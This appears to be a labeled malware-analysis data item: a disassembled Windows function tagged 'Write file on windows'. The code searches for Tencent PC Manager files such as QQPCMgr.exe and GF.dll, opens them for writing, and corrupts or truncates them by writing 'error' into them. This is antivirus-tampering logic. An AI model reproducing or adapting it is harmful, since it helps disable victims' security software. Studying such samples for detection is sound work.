Function at 0x41e7a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
mov ebx, ecx
push 0
mov dword [ebp - 8], ebx
call fcn.004ae35d
push eax
call fcn.004ae2cc
mov eax, dword [ebx + 0x24]
add esp, 8
mov edi, dword [eax]
cmp edi, eax
je 0x41e8e0
push esi
nop dword [eax + eax]
mov eax, dword [edi + 8]
lea ecx, [ebp - 0x14]
push ecx
mov ecx, eax
mov dword [ebp - 0x10], eax
call fcn.0041cee0
mov esi, dword [ebp - 0x14]
cmp dword [esi - 0xc], 0
jl 0x41ea45
push str.QQPCRTP.exe
push esi
call fcn.004a6c3e
add esp, 8
test eax, eax
je 0x41e80a
sub eax, esi
sar eax, 1
jns 0x41e89a
cmp dword [esi - 0xc], 0
jl 0x41ea45
push str.QQPCMgr.exe
push esi
call fcn.004a6c3e
add esp, 8
test eax, eax
je 0x41e82c
sub eax, esi
sar eax, 1
jns 0x41e89a
cmp dword [esi - 0xc], 0
jl 0x41ea45
push str.QQPCMgr.rdb
push esi
call fcn.004a6c3e
add esp, 8
test eax, eax
je 0x41e84e
sub eax, esi
sar eax, 1
jns 0x41e89a
cmp dword [esi - 0xc], 0
jl 0x41ea45
push str.QQPCTray.exe
push esi
call fcn.004a6c3e
add esp, 8
test eax, eax
je 0x41e870
sub eax, esi
sar eax, 1
jns 0x41e89a
cmp dword [esi - 0xc], 0
jl 0x41ea45
push str.GF.dll
push esi
call fcn.004a6c3e
add esp, 8
test eax, eax
je 0x41ea45
sub eax, esi
sar eax, 1
js 0x41ea45
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x41e8e6
add esi, 0xfffffff0
or eax, eax
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x41e8d1
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov ebx, dword [ebp - 8]
mov edi, dword [edi]
cmp edi, dword [ebx + 0x24]
jne 0x41e7d0
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004ae2ab
and eax, reloc.WS2_32.dll_closesocket
jns 0x41e8f7
dec eax
or eax, 0xfffffffc
inc eax
jne 0x41e967
push 2
push 0
push 0xfffffffffffffffb
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 5
push str.error
push ebx
mov dword [ebp - 0x10], 5
mov dword [ebp - 0xc], str.error
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41ea3b
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
add edx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
je 0x41ea3b
push 0
lea eax, [ebp - 4]
push eax
push ecx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x41e937
jmp 0x41ea3b
cmp eax, 1
jne 0x41e9d9
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 5
push str.error
push ebx
mov dword [ebp - 0xc], 5
mov dword [ebp - 0x10], str.error
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41ea3b
nop word [eax + eax]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
add edx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
je 0x41ea3b
push 0
lea eax, [ebp - 4]
push eax
push ecx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x41e9b0
jmp 0x41ea3b
cmp eax, 2
jne 0x41ea07
push eax
push 0
push 0xfffffffffffffff6
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push str.error
mov edx, 5
mov ecx, ebx
call fcn.004595b0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x41ea3b
cmp eax, 3
jne 0x41ea3b
push 2
push 0
push 0xfffffffffffffffb
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push str.error
mov edx, 5
mov ecx, ebx
call fcn.004595b0
mov eax, dword [ebp - 0x10]
add esp, 4
cmp dword [eax + 4], 0
jne 0x41ea3b
mov eax, dword [eax + 0x20]
inc byte [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 8]
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x41e8d4
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x41e8d4